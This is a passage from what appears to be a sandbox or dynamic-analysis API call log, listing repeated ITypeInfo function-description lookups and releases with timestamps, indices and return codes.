ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x88, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x89, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8a, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8c, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8d, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8e, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8f, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x90, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x91, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x92, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x93, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x94, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x95, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x96, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x97, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x98, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x99, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9a, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9c, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9d, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9e, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.894] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.894] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9f, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa0, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa1, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa2, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa3, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa4, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa5, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa6, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa7, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa8, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa9, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaa, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xab, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xac, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xad, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xae, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaf, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb0, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb1, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb2, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb3, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb4, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb5, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.895] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb6, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.895] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb7, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb8, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb9, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xba, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbb, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbc, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbd, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbe, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbf, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc0, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc1, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc2, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc3, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc4, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.896] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc5, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.896] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc6, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc7, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc8, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc9, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xca, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcb, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcc, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcd, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xce, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcf, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd0, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd1, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd2, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd3, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd4, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd5, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd6, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd7, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd8, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd9, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.897] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xda, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.897] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdb, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdc, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdd, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xde, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdf, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe0, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe1, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe2, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe3, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe4, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe5, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe6, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe7, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe8, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe9, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xea, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xeb, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xec, ppFuncDesc=0x2668f8, pDummy=0x80 | out: 